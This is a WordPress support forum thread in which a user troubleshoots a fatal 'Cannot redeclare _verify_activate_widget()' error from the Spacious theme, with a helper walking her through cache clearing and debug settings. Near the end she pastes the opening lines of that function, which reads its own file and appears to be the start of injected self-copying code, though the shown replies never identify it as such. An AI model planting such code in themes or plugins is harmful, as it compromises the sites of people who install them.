• Resolved 7Farmgirls

    (@7farmgirls)


    I’ve made a child theme of the free Spacious theme and tested it out on my test site blog.sevenfarmgirlsisters.com. Both Spacious and my spacious child work fine on here.

    I tried loading them both on to my regular site, sevenfarmgirlsisters.com and I get this message:

    PHP Fatal error: Cannot redeclare _verify_activate_widget() in /home/xxxx/public_html/wp-content/themes/spacious/inc/functions.php on line 473

    I looked into the inc/functions.php and it only has 471 lines ?

    I’ve tried deactivating all of my plugins. I’ve tried putting all of the same plugins that are on my blog on my test site. I’ve tried deleting the theme and reinstalling it. I’ve tried only the Spacious theme, forgetting even my child theme. It still only works on my test site and not my regular site.

    Thank you for any help!!!

Viewing 15 replies - 1 through 15 (of 22 total)
  • Both websites load for me without error.

    Either you have fixed it, OR your problem is with caching some of the files, a little strange.

    Thread Starter 7Farmgirls

    (@7farmgirls)

    I took it off of the regular site, because it makes it completely disappear. I couldn’t get it back without asking tech support with my webhost.

    Do I need to try to reinstall it so that you’re able to see what the problem is? I know it’ll make it disappear again ??

    It is really confusing, because it works perfectly fine on my testing site ??

    Suggest that you install a fresh copy of this new theme (both parent and child) and try again.
    What does your theme author say.

    Thread Starter 7Farmgirls

    (@7farmgirls)

    Okay…I tried doing what you said. I didn’t bother with the child theme, just the parent theme, but still it makes my site disappear.

    I deactivated all of the plugins except Askimet, and I don’t think that should have caused a problem. I even completely deleted my old theme thinking maybe there was code in there that was messing with the other themes? I don’t know if it can even do that, but I was willing to try! ??

    I’ve re-uploaded the old theme.

    I asked on the Spacious forum and haven’t gotten a reply yet.

    I can’t understand why it will work on one domain and not another ??

    What did you mean about caching some of the files?

    Thank you for your help!

    Yes, clear all the cache.
    Try accessing the website from a different computer or smart phone.

    Thread Starter 7Farmgirls

    (@7farmgirls)

    Is that clearing the cache from my computer? or somehow on my site?

    Sorry..I don’t know exactly what that means ??

    Thread Starter 7Farmgirls

    (@7farmgirls)

    I just tried uploading the parent theme on another computer. Same problem.

    I also cleared the cache from my browser I’ve been using (Firefox). (If that was the cache I was supposed to clear!)

    Still whenever I go to preview the theme it blanks out like it did when I got the error last time.

    I can access my site just fine until I try uploading that theme.

    I have the same theme installed on my test site, on the same browser, with no problems at all.

    Just loaded:
    https://sevenfarmgirlsisters.com/
    Looks fine

    Thread Starter 7Farmgirls

    (@7farmgirls)

    It’s because I reloaded the old template. Should I upload the problem template so you can see what it’s doing? It will freeze my site up, but I can get my host to get it back again, and if it will help, I’m willing to do it.

    Thank you again for your help…I really appreciate it!

    Still loads ok, theme is not a child theme.
    If you have FTP access to your website you can rescue it yourself.

    Thread Starter 7Farmgirls

    (@7farmgirls)

    I just now activated it. It disappeared. It’s not the child theme though, it’s the regular parent theme (Spacious). I’ll leave it that way so you can see it…maybe that will help give us clues! ??

    You are correct, blank screen.
    Please enable debugging. In your wp-config.php file find the WP_DEBUG line, comment it out and add these lines:

    error_reporting(E_ALL); ini_set('display_errors', 1);
        define( 'WP_DEBUG', true);

    Then see what the error messages are. Check the file errors.log (or similar)

    Thread Starter 7Farmgirls

    (@7farmgirls)

    Alrighty…I did that and got this:

    Notice: Undefined index: action in /home/xxxx/public_html/wp-content/plugins/wordpress-thread-comment/wp-thread-comment.php on line 372

    Notice: Undefined index: memory_limit in /home/xxxx/public_html/wp-content/plugins/wordpress-thread-comment/wp-thread-comment.php on line 391

    Fatal error: Cannot redeclare _verify_activate_widget() in /home/xxxx/public_html/wp-content/themes/spacious/inc/functions.php on line 473

    So the first two are saying one of my plugins is bad, is that correct? The last one I’m stumped ??

    Thread Starter 7Farmgirls

    (@7farmgirls)

    I got rid of that plugin and those two warnings went away. Last error message is still there.

    Thread Starter 7Farmgirls

    (@7farmgirls)

    I found ‘line 473’ ‘function_verify_activate_widget()’

    Does this help? Should I include more code?

    <?php
    function _verify_activate_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);

    Again…I can’t tell you how MUCH I appreciate you helping me! I’m at my wits end! ??

Viewing 15 replies - 1 through 15 (of 22 total)
  • The topic ‘[Theme: Spacious Free] PHP fatal error. Theme won't load onto site.’ is closed to new replies.